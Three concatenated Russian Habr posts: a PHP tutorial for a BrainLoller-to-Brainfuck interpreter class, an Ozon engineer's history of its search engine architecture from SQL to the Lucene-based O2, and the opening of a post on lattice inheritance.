Спасибо за внимание! | https://habr.com/ru/post/341724/ | null | ru | null |
# Пишем класс на php для интерпретации BrainLoller
(Пример Brainloller кода увеличенного в несколько раз)
**BrainLoller** — это визуальный диалект языка Brainfuck, в котором символьные команды заменяются на пиксели разных цветов, считываемые с изображения в формате \*.png.
Brainloller был придуман в 2005 году Lode Vandevenne.
Цвета команд были выбраны как комбинации значений **0xFF** и **0x80** для трех **RGB** компонент. В результате была получена следующая таблица команд:
* + = 0x00FF00
* — = 0x008000
* > = 0xFF0000
* < = 0x800000
* [ = 0xFFFF00
* ] = 0x808000
* . = 0x0000FF
* , = 0x000080
В Brainloller добавлены также две дополнительные команды — **0x00FFFF** (поворот указателя инструкций против часовой стрелки) и **0x008080** (поворот по часовой). Таким образом, “код” может записываться не в одну строку пикселей, а в двухмерное изображение. Перед началом выполения программы указатель инструкций находится в верхнем левом пикселе и направлен вправо. Изображение обрабатывается попиксельно, после каждой команды Brainfuck указательно инструкций сдвигается на один пиксель в том направлении, в котором он указывает. Выполнение программы заканчивается, как только указатель инструкций выходит за пределы изображения. ([источник](http://progopedia.ru/dialect/brainloller/))
К сожалению, исходный набор инструментов для работы с Brainloller был утерян и мы попробуем в этой статье восполнить пробел)
Пишем класс
===========
Для создания класса нам нужно:
* тестовый полигон который может исполнять php скрипты (веб-хост, локальный веб сервер)
* библиотека GD на тестовом полигоне
* собственно тестовое изображение ( сохранить как hello-world.png)
Теперь нам нужен какой либо класс для обработки Brainfuck на php (незачем городить велосипеды, наш класс просто будет превращать пиксели в набор обычных Brainfuck команд (не будем рассматривать вариант, когда на изображении идет бесконечный цикл)), к примеру я заюзал вот [этот](https://github.com/dotzero/BrainfuckInterpreter/blob/master/libs/brainfuck.php) и сохранил как brainfuck.class.php. Этот класс выдавал warning, поэтому рекомендую на 79 строчке поставить подавление ошибок @
Можно приступить к кодингу. Нам нужно создать **brainloller.class.php** и **index.php**. Первый файл будет тем классом который мы пишем, второй же будет запускать его с конкретным изображением.
Теперь приступим к описанию класса.
Открываем brainloller.class.php и добавляем
```
php
class BrainLoller {
protected $picture; // Картинка с кодом
function __construct($picture){
// Открываем изображение
$this-picture = imagecreatefrompng($picture);
}
function __destruct(){
imagedestroy($this->picture); // Высвобождаем занятые ресурсы
}
}
```
Мы создаем класс с конструктором и деструктором в котором инициализируем GD картинку. Картинка будет храниться в $picture.
Теперь нам нужна функция которая будет проходить по изображению получая код, назовем ее например getCode().
После добавления этой функции класс будет выглядеть так
```
php
define('DIRECTION_UP', 0);
define('DIRECTION_RIGHT', 1);
define('DIRECTION_DOWN', 2);
define('DIRECTION_LEFT', 3);
/*
Часы
-
- 0 -
-
*/
class BrainLoller {
protected $picture; // Картинка BrainLoller
protected $pointer = DIRECTION_RIGHT; // Указатель куда идти на следующем шаге (0 = 'up', 1 = 'right', 2 = 'down', 3 = 'left')
function __construct($picture){
// Открываем собственно изображение
$this-picture = imagecreatefrompng($picture);
// Получаем размер изображения
$size = getimagesize($picture);
$this->size['w'] = $size[0];
$this->size['h'] = $size[1];
}
public function getCode(){
$current_pixel = array(0, 0); // Текущий пиксель (x, y)
$this->pointer = DIRECTION_RIGHT;
$code = '';
for(;;){
if($current_pixel[0] > $this->size['w'] or $current_pixel[1] > $this->size['h'] or $current_pixel[0] < 0 or $current_pixel[1] < 0) break; // Если вышли за пределы то прерываем цикл
$pixel_color = imagecolorat($this->picture, $current_pixel[0], $current_pixel[1]); // Берем цвет пикселя
$pixel_color = array(
( ($pixel_color >> 16) & 0xFF ), // Red
( ($pixel_color >> 8) & 0xFF ), // Green
( $pixel_color & 0xFF ), // Blue
);
// Проверяем какой команде сопоставлен данный цвет, если поворот то поворачиваем, если команда то добавляем к $code
switch($pixel_color){
case array(0, 255, 0):
// +
$code .= '+';
break;
case array(0, 128, 0):
// -
$code .= '-';
break;
case array(255, 0, 0):
// >
$code .= '>';
break;
case array(128, 0, 0):
// <
$code .= '<';
break;
case array(255, 255, 0):
// [
$code .= '[';
break;
case array(128, 128, 0):
// ]
$code .= ']';
break;
case array(0, 0, 255):
// .
$code .= '.';
break;
case array(0, 0, 128):
// ,
$code .= ',';
break;
case array(0, 255, 255):
// <-
if($this->pointer + 1 > DIRECTION_LEFT) $this->pointer = 0;
else $this->pointer += 1;
break;
case array(0, 128, 128):
// ->
if($this->pointer - 1 < DIRECTION_UP) $this->pointer = 3;
else $this->pointer -= 1;
break;
}
switch($this->pointer){
case DIRECTION_UP:
$current_pixel[1] -= 1;
break;
case DIRECTION_RIGHT:
$current_pixel[0] += 1;
break;
case DIRECTION_DOWN:
$current_pixel[1] += 1;
break;
case DIRECTION_LEFT:
$current_pixel[0] -= 1;
break;
}
}
return $code;
}
function __destruct(){
imagedestroy($this->picture); // Высвобождаем занятые ресурсы
}
}
```
В функции есть бесконечный цикл который обрабатывает каждый пиксель.
Сначала проверяем не вышли ли мы за пределы изображения, потому что по условию выход изображения это конец программы.
Затем получаем цвет пикселя в формате RGB, и проверяем к какой команде он прикреплен.
Если цвет прикреплен к команде brainfuck кода, то добавляем к конечному листингу-кода эту команду, если же цвет является командой поворота, то поворачиваем указатель.
Затем глядя на то в какую сторону смотрит указатель — смещаем адрес пикселя (двигаемся дальше в сторону взгляда указателя).
Когда цикл завершается — значит мы вышли за пределы изображения и надо вернуть полученный код для дальнейшей интерпретацией другим классом.
Создадим обработчик в **index.php**
```
php
require 'brainloller.class.php';
require 'brainfuck.class.php';
$brainloller = new BrainLoller('hello-world.png');
$brainfuck = new Brainfuck($brainloller-getCode(), 1);
$brainfuck->run();
```
Здесь мы загружаем оба класса, и создаем их экземпляры. После чего получаем brainfuck код из нашего класса и передаем на интерпретацию в другой класс, от стороннего автора (Опять же, рекомендую как минимум не изобретать велосипеды, как максимум улучшать уже существующие решения если они написаны грамотно и автор идет на контакт)
Финальный код можно [Загружен на гитхаб.](https://github.com/Fedcomp/brainloller-php) ([зеркало](http://rghost.ru/21148691))
P. S.
=====
**С чем можно поиграться еще?**
* Заюзать новую фишку php 5.3 сделав статический метод который будет возвращать код без создания класса (например BrainLoller::getCode('picture\_url'))
* Сделать порог для цикла, чтобы он не длился бесконечно (на некоторых изображениях из которых никогда нельзя выйти (нужно добавить к for ограничение) )
* Сделать класс для создания BrainLoller изображений (например определить символ который будет разворачивать указатель строки по часовой/Против часовой стрелки, и таким образом с небольшой переделкой brainfuck кода можно будет напрямую превращать код в картинку и наоборот)
* Оптимизировать этот код (Наверняка можно было написать компактнее) | https://habr.com/ru/post/128539/ | null | ru | null |
# Как мы делали свой поиск в Ozon: эволюция архитектуры от SQL до O2
Привет, Хабр! Меня зовут Сергей, я руководитель команды поиска в Ozon. Сегодня я расскажу об эволюции наших поисковых систем: как всё начиналось более 20 лет назад с обычных SQL-запросов, как мы осваивали Sphinx и Elasticsearch, и как сейчас наш собственный поисковый движок O2 на базе Apache Lucene выдерживает нагрузку в десятки тысяч RPS в сезон распродаж. Исторические хроники восстанавливались по воспоминаниям современников и представлены для полноты картины. Новейшая история описана на основе собственного опыта, поэтому подробностей будет на порядок больше. Поехали!
Древний мир, 1998—2011 гг.
--------------------------
Главная страница Ozon в 2001 годуOzon был основан в далёком 1998 году. В то время большинство IT-систем представляли собой связку из монолитного приложения, отвечающего за бизнес-логику, и СУБД для хранения данных. Нередко бизнес-логика размещалась не только в приложении, но и в СУБД — с использованием процедур и триггеров. Сервисно-ориентированная архитектура только начинала набирать популярность, а до появления микросервисов было ещё целое десятилетие. Техническая начинка Ozon на старте была довольно простой: по словам создателей, на запуск первой версии проекта ушло всего четыре месяца. Сайт работал на базе самописной CMS, что для небольшого интернет-магазина выглядело вполне разумным решением.
На скриншоте от 2001 года представлена главная страница: обзор новинок, справочная информация и ссылки на основные разделы сайта. Покупатели чаще пользовались товарным каталогом, чем поиском: просто переходили в конкретную товарную категорию и видели на экране весь имеющийся ассортимент. Для сужения выдачи можно было использовать фильтры, например ограничить товары неким диапазоном цен. Поиск и фильтрация были реализованы обычными SQL-запросами, которые работали с таблицей товаров. Примечательно, что единственный сервер базы данных обрабатывал все виды запросов с сайта: и просмотры товаров, и поисковые запросы, и создание заказов. Архитектура была предельно простой, зафиксируем её в качестве отправной точки:
Типичная архитектура монолитного веб приложенияПрогресс в области полнотекстового поиска не стоял на месте — в 1999 году состоялся первый релиз Apache Lucene, самой популярной опенсорс-библиотеки в этой сфере. Примерно в это же время поддержка FTS (full-text search) начала появляться в популярных СУБД — Microsoft SQL Server 7.0 и Oracle 8i. Основные преимущества FTS над SQL-запросами вида `select ... where title like "%apple%"` — это эффективность выполнения запроса и поддержка стемминга (учёт окончаний и других изменений слов).
Первая версия полнотекстового поиска в Ozon была реализована с помощью Microsoft SQL Server FTS. Поисковая система позволяла искать товары с использованием фильтрации по категориям, геодоступности, ценам и рейтингу. В 2009 году для поиска подняли собственный Microsoft SQL Server-кластер, состоящий из одного мастера и четырёх реплик, — таким образом разграничили нагрузку от поиска и остальной функциональности сайта.
Средние века, 2011—2017 гг.
---------------------------
Главная страница Ozon в 2011 годуС появлением новых товарных категорий росла и вариативность товарных атрибутов. В товарах из категории «Книги» продавцы стали указывать автора, жанр и издательство, из категории «Смартфоны» — бренд, цвет, объём оперативной памяти и количество ядер. Появился запрос на так называемый «фасетный поиск», то есть возможности показывать пользователю весь спектр значений фильтров и фильтровать поисковую выдачу по выбранным значениям. Такие задачи легко решаются специализированными поисковыми движками. Предстояло обзавестись одним из них.
На дворе стоял 2011 год. Популярные сегодня поисковые движки — Elasticsearch (первый публичный релиз был в 2014 году) и Apache Solr (первый релиз SolrCloud был в 2012-м) — в то время ещё не были стандартами в своей области. Выбор пал на подающую надежды отечественную разработку Sphinx, которая была на пороге выпуска второй мажорной версии движка. Команда съездила на митап по Sphinx, заручилась поддержкой основателя и начала готовиться к миграции. За несколько месяцев удалось собрать пилотную версию, на базе которой запустили новый каталог обуви. Эксперимент был признан успешным — и в течение следующих шести месяцев команда мигрировала на новую технологию остальные товарные категории.
При переходе со встроенного FTS-модуля на внешний поисковый движок возникли новые обязательства: было необходимо реализовать загрузку данных для индексации в этот самый движок, настроить доставку изменений атрибутов в реальном времени, а также обеспечивать балансировку и отказоустойчивость нового компонента системы. Архитектурная схема заметно усложнилась:
Архитектура поиска Ozon во времена SphinxПоявились выделенные бэкенды поиска, которые превращали HTTP-запросы от бэкенда сайта в формат, который понимал Sphinx. Каждому бэкенду соответствовал свой узел Sphinx, а сами они стояли за балансировщиками нагрузки — модулями Application Request Routing в IIS. Поисковый индекс собирался на отдельном сервере и доставлялся на рабочие машины через mounted NFS directory. Также появилась простая админка для управления узлами поисковой системы, работы с индексами и метаинформацией.
Одна из основных проблем того времени — доставка обновлений до поискового индекса. Цены, скидки, наличие товаров на складах и отзывы часто обновляются, отчего генерируется большой поток изменённых записей. Обновления индекса в Sphinx накатывались дельтами, и в нормальных условиях этот процесс происходил каждые пять минут. Но иногда всё шло не по плану. Например, массовое изменение цен могло создать слишком большое количество обновлений, пятиминутные дельты становились гигантскими — и Sphinx просто не мог их обработать. В таких ситуациях спасала только полная реиндексация, то есть сборка нового индекса с нуля и замена им предыдущей версии.
Поисковая система на базе Sphinx просуществовала шесть лет, после чего на смену ему пришёл Elasticsearch.
Новое время, 2017—2020 гг.
--------------------------
Главная страница Ozon в 2017 годуПереезд со Sphinx на Elasticsearch происходил в 2017 году. Мотивация была предельно проста — уменьшить уровень боли:
* Манипуляции с накаткой дельт индекса выполнялись через консольные утилиты, поддержки API не было.
* Процесс построения индекса не удавалось распараллелить. В теории Sphinx поддерживал партиции, которые можно было индексировать параллельно. Партиции объединялись в один виртуальный индекс. Такая конструкция приводила к N запросам вместо одного с последующей агрегацией результатов, из-за чего возникали проблемы с производительностью. В итоге решение не взлетело.
* Для реализации собственной логики ранжирования товаров нужно было писать свою библиотеку на С.
После перехода на Elasticsearch появились все необходимые элементы для распределённого поискового движка:
* узлы для индексации документов с поддержкой high availability,
* горизонтально масштабируемые реплики,
* возможность шардировать индекс,
* возможность писать свои плагины для ранжирования.
В Ozon в тот момент уже активно внедрялись микросервисы (преимущественно на .NET и Go). Архитектура поиска на базе Elasticsearch выглядела следующим образом:
Архитектура поиска Ozon во времена ElasticsearchНовейшая история, с 2020 г.
---------------------------
Главная страница Ozon в 2022 году### Разработка собственного поискового движка
В 2020 году был взят курс на создание собственного поискового движка, который должен был заменить Elasticsearch. Примерно в это время я и присоединился к команде поиска, поэтому дальше будет более глубокое погружение в проблематику и технические решения.
При создании своего решения мы преследовали следующие цели:
* разделение рантайма поиска и ранжирования с целью их независимого масштабирования,
* полный контроль над процессом ранжирования,
* полный контроль над процессами построения и репликации индекса,
* доступ к низкоуровневым оптимизациям на стадии поиска и фильтрации.
У нас было два пути: написать с нуля абсолютно всё (так в своё время сделали Google, Facebook и Яндекс) либо переиспользовать готовые решения. Первый вариант привлекал возможностями кастомизации, но предполагал "speed run" двадцати лет развития технологий полнотекстового поиска. Второй подход привязывал нас ко всем особенностям и недостаткам используемых технологий, но избавлял от повторения чужих ошибок. Взвесив все за и против, мы выбрали его — взяли опенсорс-библиотеку Apache Lucene и построили на базе неё свой поисковый движок с блек-джеком и куртизанками.
В качестве языка программирования выбрали Java, в первую очередь из-за желания работать с оригинальным кодом Lucene. JVM платформа даёт все необходимые инструменты для построения highload-систем, а обилие фреймворков и библиотек избавляет от необходимости заниматься велосипедостроением.
Концептуально наш поисковый движок состоит из трёх частей:
1. **Мастер индексации** отвечает за построение Lucene-индекса — он получает на вход документы вида «ключ — значение» в формате JSON, а на выходе выгружает сегменты. [Сегмент](https://stackoverflow.com/questions/2703432/what-are-segments-in-lucene) в терминах Lucene — это иммутабельный кусочек индекса, содержащий подмножество документов. Мастер использует стандартный API библиотеки Lucene при работе с индексом, например [IndexWriter](https://lucene.apache.org/core/9_0_0/core/org/apache/lucene/index/IndexWriter.html).
2. **Базовый поиск** — это слой для выполнения поисковых запросов. Каждый узел закачивает в себя поисковый индекс, после чего он готов к работе. Помимо задач поиска и фильтрации найденных товаров, эта часть движка отвечает за первый уровень ранжирования (L1 Ranking). На этом уровне абсолютно все найденные документы сортируются по лёгкой формуле, учитывающей текстовую релевантность ([tf-idf](https://en.wikipedia.org/wiki/Tf%E2%80%93idf), [BM25](https://en.wikipedia.org/wiki/Okapi_BM25)) и простые эвристики. Базовый поиск можно горизонтально масштабировать.
3. **Средний поиск** — это слой для роутинга запросов и ранжирования ([L2 Ranking](https://en.wikipedia.org/wiki/Learning_to_rank)) поисковой выдачи. Мы сразу закладывали в архитектуру шардирование поискового индекса, поэтому над слоем базового поиска требовалось расположить сервис, отвечающий за роутинг запросов по шардам и формирование финального результата из нескольких частичных ответов. В этом же слое находится рантайм ранжирования, который сортирует результаты с помощью ML-моделей. Средний поиск тоже можно горизонтально масштабировать.
Концепт поискового движка о2Примерно через полгода интенсивной работы была готова первая полноценная версия поискового движка. Мы подняли небольшой кластер с настоящим индексом и начали зеркалировать в него часть реального трафика, чтобы собирать логи и измерять качество. Ещё несколько месяцев ушло на то, чтобы отладить расчёты текстовой релевантности с помощью офлайн-оценки ранжирования, устранить проблемы с перформансом при помощи нагрузочного тестирования и доделать всё, что связано с high availability.
Как работает офлайн-оценка ранжирования**Офлайн-оценка ранжирования** — это методика оценки качества поисковой выдачи при помощи асессоров. Делается примерно так: по заранее подготовленным поисковым запросам скачиваются результаты поисковой выдачи (к примеру, вся первая страница товаров), а затем создаются задания на оценку (пары вида «поисковый запрос + товар»). Задача асессора — оценить по определённой шкале, насколько товар релевантен поисковому запросу.
Имея оценку товаров, находившихся на разных позициях поисковой выдачи, можно при помощи нехитрой математики получить итоговый score ранжирования. Идеальным считается такое ранжирование, где все товары в выдаче имеют самые высокие баллы. Фактический результат оценивается относительно этого идеала. Формула должна учитывать как баллы, так и позицию товара в выдаче, то есть нерелевантные товары в самом начале выдачи «штрафуются» сильнее, чем если бы они были в конце. В базовом виде такая методика подсчёта называется [nDCG](https://en.wikipedia.org/wiki/Discounted_cumulative_gain), при этом подход можно кастомизировать под свои целевые метрики.
Офлайн-тестирование позволяет оценить качество поисковой выдачи без выкатки новой версии ранжирования на реальных пользователей. У такого подхода множество плюсов:
* возможность экспериментировать с ранжированием, не теряя деньги в случае неудачи;
* обратная связь в среднем приходит на порядок быстрее, так как результаты разметки можно переиспользовать;
* нет ограничений мощности трафика, и не нужно ждать очереди для запуска, как иногда бывает при проведении А/B-экспериментов;
* не требуется разворачивать полноценную инфраструктуру поиска в продакшене — можно в спокойном темпе подготовить задания, имея единственный сервер поиска в стейджинг-окружении.
Минусы, конечно, тоже есть: хорошие результаты офлайн-тестирования не гарантируют успех при запуске нового ранжирования на реальных пользователях.
Летом 2021 года мы постепенно перевели весь пользовательский трафик на новый поисковый движок. Он получил название O2 («о два», то есть кислород). Релиз получился фантастически успешным: в несколько раз снизилась latency и увеличился throughput. Архитектурная схема поиска на момент релиза O2:
Архитектура поиска на момент релиза о2Давайте рассмотрим отличия от прошлой версии на базе Elasticsearch и поговорим о технических нюансах.
#### Балансировка трафика
Раньше поисковые бэкенды ходили в Elasticsearch через Nginx-балансировщик, который одновременно служил слоем для кеширования. Клиенты использовали доменное имя, которое по DNS резолвилось в несколько IP-адресов Nginx-серверов. Если с Nginx-сервером случалось что-то нехорошее, можно было поднять рядом ещё один сервер и перевесить на него IP-адрес.
Собственный поисковый движок дал возможность использовать клиентскую балансировку — подход, при котором клиенты хранят у себя список актуальных IP-адресов бэкендов для сервисов, с которыми они взаимодействуют. Для реализации такого подхода нужен [Service Registry](https://microservices.io/patterns/service-registry.html), который знает, где какие сервисы задеплоены и как конфигурация меняется со временем. В Ozon его функцию выполняет платформенный сервис Warden. Он интегрирован с Kubernetes и знает, на каких серверах/IP-адресах можно найти инстансы нужных сервисов. Таким образом мы избавились от Nginx-прослойки и связали Search Backend и o2-midway напрямую. Это немного улучшило latency в высоких квантилях и дало возможность использовать [subsetting](https://sre.google/sre-book/load-balancing-datacenter/) и реализовывать кастомные алгоритмы балансировки. Например, сейчас мы тестируем [p2c](https://www.nginx.com/blog/nginx-power-of-two-choices-load-balancing-algorithm) на базе [EWMA](https://en.wikipedia.org/wiki/EWMA_chart) response time.
#### Разделение фаз поиска
Два слоя поиска, o2-midway и о2-base, реализованы в виде отдельных сервисов.
Нижний уровень o2-base деплоится как [StatefulSet](https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/) — вид ресурса в Kubernetes, которым можно привязать pod к персистентному хранилищу. В нашем случае это жёсткий диск, на котором хранится поисковый индекс. Без StatefulSet при любом рестарте пода приходилось бы с нуля закачивать на него весь поисковый индекс, который весит пару сотен гигабайт. Учитывая размеры нашей системы (сотни серверов), это приводило бы либо к чересчур долгому ожиданию, либо к высокой утилизации сетевого канала.
После запуска сервиса по мере выполнения поисковых запросов значимая часть поискового индекса подгружается в оперативную память (page cache). Чтение производится с помощью mmap, из-за чего существенно [уменьшаются](https://sasha-f.medium.com/why-mmap-is-faster-than-system-calls-24718e75ab37) накладные расходы на получение данных. Только так можно получить приемлемое время ответа. На этом уровне оно складывается преимущественно из времени, затрачиваемого на обход постинг-листов в обратном индексе, вычисление текстовых скоров кандидатов для L1-ранжирования и извлечение DocValues-полей, необходимых для реализации последующей бизнес-логики. Ещё раз подчеркну, что базовый поиск ранжирует все товары, которые удалось найти, — потенциально миллионы записей. Подробнее об устройстве поискового индекса и его внутренних структурах данных можно почитать в этой [статье](https://habr.com/ru/post/545634/) моего коллеги из команды поискового рантайма.
Средний уровень o2-midway является обычным stateless-сервисом в Kubernetes. Через него проходят все поисковые запросы: сначала они идут в базовый поиск для получения первых (наиболее релевантных) N тысяч товаров, затем происходит переранжирование этой выборки ([L2 Ranking](https://en.wikipedia.org/wiki/Learning_to_rank)) при помощи машинного обучения. Для ранжирования требуется подгрузить фичи для найденных товаров — они служат входными параметрами для ML-модели. Конкретный набор фич находится под NDA, но ни для кого не будет откровением, что мы, как и любая другая e-com платформа, учитываем факторы вроде цены товара, популярности, скорости доставки и отзывов. Таким образом, для каждого товара нужно хранить в быстром доступе предрассчитанные значения этих характеристик. Модели поискового ранжирования также требуются парные фичи — статистика товара по конкретным запросам. В сумме получаются сотни миллионов пар «ключ — значение», где ключ — это товар либо запрос и товар, а значение — float-массив со значениями фич. Мы храним эту информацию в [Redis Cluster](https://redis.io/docs/manual/scaling/) — он даёт возможности шардирования и репликации из коробки.
Как упоминалось ранее, разделение слоёв позволяет масштабировать их независимо. К примеру, при внедрении более тяжёлых ML-вычислений в o2-midway мы можем просто поскейлить средний слой поиска, не меняя нижний.
#### Eventual consistency
Поисковые системы, основанные на обратном индексе, обычно имеют сложности с поддержкой быстрых обновлений. Минимальная часть индекса — это иммутабельный [сегмент](https://stackoverflow.com/questions/2703432/what-are-segments-in-lucene), поэтому возможность in-place редактирования документов отсутствует. Единственный способ обновления заключается в выпуске (commit) нового сегмента, содержащего все новые и изменённые документы (при этом старые версии документов помечаются tumbstone маркерами). С каждым новым сегментом индекса ухудшается latency поиска (приходится делать больше работы), поэтому для сохранения быстрого времени ответа выгоднее реже делать коммиты. Для этого нужно накапливать побольше документов перед коммитом, тем самым откладывая момент, когда изменения доедут до поисковых узлов и станут видны пользователям. Иными словами, мы имеем trade-off между актуальностью данных и временем ответа поиска. В поисковом движке EarlyBird (форк Lucene) инженеры Twitter решали проблему задержки обновлений с помощью in-memory поиска в ещё не выпущенном сегменте. У нашей команды пока не дошли руки до повторения этих подвигов.
Узлы базового поиска закачивают в себя новые сегменты с разной скоростью, поэтому в один момент времени разные узлы кластера могут иметь разное состояние индекса. Из-за этого один и тот же поисковый запрос может вернуть немного разные результаты при повторном исполнении, а также может возникнуть неконсистентность при пагинации (на практике ничего из этого не происходит, потому что у нас есть кеши). Мы сознательно не стали реализовывать на старте sticky sessions, так как последствия данной проблемы не приносят большого вреда.
#### Улучшения перформанса
Владение кодом поискового движка дало возможность самостоятельно улучшать перформанс в соответствии с нашими нуждами. Мы сразу же заменили последовательную обработку сегментов при выполнении запроса (так делал Elasticsearch, по крайней мере до версии 6.6) на параллельную: разбиваем сегменты на группы [жадным алгоритмом](https://en.wikipedia.org/wiki/Greedy_algorithm) так, чтобы в каждой было примерно одинаковое число документов, и отправляем каждую группу в thread pool. В итоге происходит очередной trade-off: ухудшение throughput (из-за дополнительных расходов на многопоточность) на улучшение latency. Нам это выгодно, так как добавить серверов и нарастить throughput не составляет труда, а с latency такой трюк не проходит. Elasticsearch предлагает решать данную задачу путём шардирования индекса и увеличения числа реплик, однако такой подход требует больше вычислительных ресурсов, чем параллелизация внутри одного сервера.
### Жизнь после релиза
После перевода трафика с Elasticsearch на O2 развитие поиска не остановилось, а, наоборот, ускорилось.
#### Больше дата-центров
С самого начала 2021 года Ozon занялся переходом на MultiDC-архитектуру. Больше всех этим проектом занимались разработчики платформы и инфраструктуры: настраивали новые дата-центры, адаптировали базовые сервисы (etcd, Kafka, Ceph, Redis, PostgreSQL, Hadoop) и CI/CD. Меньше всего это затронуло владельцев stateless-сервисов: требовалось сделать число реплик кратным трём и обновиться до последних версий CI/CD-пайплайнов. Команда поиска в этом вопросе оказалась где-то посередине из-за использования StatefulSet в базовом поиске (и ряда других вещей, которые мы оставим за скобками). Переход на MultiDC у нас совпал по времени с внедрением О2, поэтому движок проектировали с учётом новой схемы.
Мы приняли решение разворачивать три независимых кластера базового поиска, по одному в каждом ДЦ. Первая версия o2-master имела ограничение по количеству узлов o2-base в кластере, и мы физически не могли сделать один огромный кластер в трёх ДЦ. Как вы уже могли догадаться, узким местом был сетевой канал o2-master — он полностью утилизировался, когда узлы o2-base закачивали в себя индекс. Подробнее об этом я расскажу в следующем пункте.
Независимые кластеры в Kubernetes реализовались как независимые сервисы: o2-base-dc1, o2-base-dc2, o2-base-dc3, каждый со своим CI/CD-пайплайном и мониторингом. Эта конструкция создала нам проблемы с балансировкой: o2-midway был единым «растянутым на три ДЦ» stateless-сервисом, а кластеров o2-base стало несколько. Как в такой ситуации роутить запросы из o2-midway в o2-base? Для платформенной балансировки это был нестандартный сценарий, поэтому нам пришлось прикрутить свою балансировку на базе [Ribbon](https://github.com/Netflix/ribbon): инстанс o2-midway сначала выбирал кластер o2-base (с вероятностью, пропорциональной размеру кластера), а затем выбирал сервер внутри кластера.
Забегая вперёд, скажу, что схема с независимыми кластерами O2 себя полностью оправдала. Во-первых, она позволяет быстро снять трафик с кластера во время инцидента, если с ним обнаруживаются какие-то проблемы. Во-вторых, можно обновлять кластеры по отдельности, что очень актуально при рискованных релизах.
MultiDC-архитектура поиска выглядит примерно следующим образом:
* Stateless-сервисы общаются друг с другом только в рамках одного ДЦ: catalog → search, search → o2-midway. Это достигается при помощи упоминавшегося ранее платформенного сервиса Warden: по умолчанию он отдаёт клиенту только IP бэкендов из локального ДЦ.
* Кеши поисковой выдачи распределены по всем ДЦ. Так мы получаем больше эффективного пространства. В случае отказа ДЦ мы потеряем треть от всех записей в кеше и, как следствие, треть его хит-рейта. Катастрофы при этом не произойдёт, так как мы планируем свои мощности без учёта кешей.
* В каждом ДЦ есть своё хранилище для ML-фичей. Здесь мы не можем позволить себе потерять треть данных из-за инцидента, поэтому их приходится дуплицировать.
* Балансировка между o2-midway и o2-base происходит в два этапа: сначала — выбор ДЦ, затем — выбор сервера.
* MultiDC-архитектура платформенных сервисов (etcd, Kafka) для клиентов незаметна, за что отдельное спасибо команде платформы.
MultiDC архитектура поиска#### Разгружаем мастер
Выше была упомянута проблема пропускной способности o2-master: скорость сетевого канала определяет максимальное количество узлов o2-base, которые могут без задержек закачивать обновления индекса. Для примера: если мастер выпускает сегменты размером 10 Гб каждые пять минут, то канал с пропускной способностью 10 Гбит/с будет полностью утилизирован 37-ю узлами (на одно скачивание нужно восемь секунд, за пять минут можно скачать сегмент 37,5 раза). На деле число будет меньше, так как соединение иногда обрывается и утилизация канала неидеальна. Нам удалось устранить фактор ухудшения throughput из-за конкуренции узлов o2-base установкой distributed-семафора перед o2-master, но ситуация требовала фундаментального решения.
Было очевидно, что функции построения и раздачи индекса нужно разделять, поскольку первая требовала singleton-подхода, а вторая — горизонтального масштабирования. Мы переписали код таким образом, чтобы o2-master загружал готовые индексы в S3-хранилище (Ceph), а узлы базового поиска скачивали их оттуда. Ещё на этапе проектирования мы осознали, что такое решение имеет тот же недостаток: точки взаимодействия с Ceph (в нашем случае это [Rados Gateway](https://docs.ceph.com/en/quincy/radosgw/index.html)) будут перегружены. В мире большого [интернета](https://www.meme-arsenal.com/memes/24cbe78e6293a10bf165fa49cf72098f.jpg) задачу раздачи контента решают с помощью CDN, поэтому мы пошли тем же путём: подняли слой с Nginx-серверами перед Ceph. Узлы базового поиска стали обращаться за индексом к Nginx, который сперва проверяет наличие локальной копии и только в случае её отсутствия единственный раз выкачивает данные из Ceph (реализуется через [proxy cache lock](https://nginx.org/ru/docs/http/ngx_http_proxy_module.html#proxy_cache_lock) в Nginx). В итоге на сотню серверов o2-base нам требуется около восьми CDN-серверов. Мы хотели пойти дальше и применить bonding сетевых карт, дабы увеличить сетевой throughput на Nginx-серверах, но NOC-инженеры не захотели поддерживать такое решение.
Архитектура поиска с появлением CDNПримерно через полгода после перехода на CDN мы внедрили сжатие индекса при помощи [zstd](https://github.com/facebook/zstd), тем самым уменьшив передаваемый объём данных в два раза. На текущий момент это последний штрих в оптимизации раздачи поискового индекса. Спустя время мы, скорее всего, вернёмся к этому вопросу и возьмёмся за реализацию P2P-репликации.
#### Персонализация
В борьбе за качество поисковой выдачи мы пришли к тому, что хотим учитывать персональные предпочтения пользователей. Какое отношение это имеет к поисковому движку? Самое прямое: если раньше мы могли закешировать поисковую выдачу по запросу «микроволновка» для жителей Москвы, то теперь не можем. Иван Иванович тяготеет к технике марки Bosch, а Татьяна Семёновна всю жизнь покупает Electrolux. Соответственно, ранжирование становится уникальным для покупателя, поэтому нельзя кешировать финальную страницу выдачи и возвращать её остальным.
Совсем отказываться от кеширования мы не хотели, поэтому переместили кеши под слой o2-midway, в котором происходит ML-ранжирование. Теперь мы кешируем только результаты базовой выдачи, а ML-ранжирование честно выполняется при каждом запросе. Разумеется, мы немного потеряли в latency, но зато выиграли в качестве ранжирования от внедрения персонализации. Неплохая сделка!
Архитектура поиска после переноса кешей на уровень o2-midwayЭпилог
------
Таким непростым был путь поиска в Ozon за последние 20 лет. Понимаю, что получился лонгрид, из-за этого мне даже пришлось умолчать про устройство индексации, DSSM, query enrichment и архитектуру рекламы в поиске.
Однако архитектура — это далеко не всё, чем занимается команда поиска. Мы постоянно улучшаем продукт и UX, вкладываем много сил в развитие ML-ранжирования, закапываемся в аналитику и проводим множество A/B-экспериментов. У нас немало задач, в которых используются интересные структуры данных и алгоритмы, например Bloom-фильтры, LRU, Trie, HyperLogLog и RingBuffers. Помимо основных задач поиска и ранжирования товаров, есть много сопутствующих: исправление опечаток, поисковые подсказки (suggests), предсказание товарной категории для поисковых запросов и другие элементы NLP. Если какие-то из этих тем звучат интересно, отпишитесь в комментариях — и мы расскажем об этом в следующий раз. До встречи! | https://habr.com/ru/post/667600/ | null | ru | null |
# Решетчатое наследование
Наследование, при кажущейся простоте, часто приводит к сложным, сопротивляющимся изменениям структурам. Иерархии классов растут как самый настоящий лес.
Целью наследование является привязка кода (набора методов) к минимальному набору свойств сущности (как правило — объекта), которые он обеспечивает и которые ему требуются. Это упрощает повторное использование, тестирование и анализ кода. Но наборы свойств со временем становятся очень большими, начинают пересекаться нетривиальным образом. И в структуре классов появляются миксины и прочее множественное наследование.
Внести изменения в глубине иерархии становится проблематично, приходится думать заранее о «внедрении зависимостей», разрабатывать и использовать сложные инструменты рефакторинга.
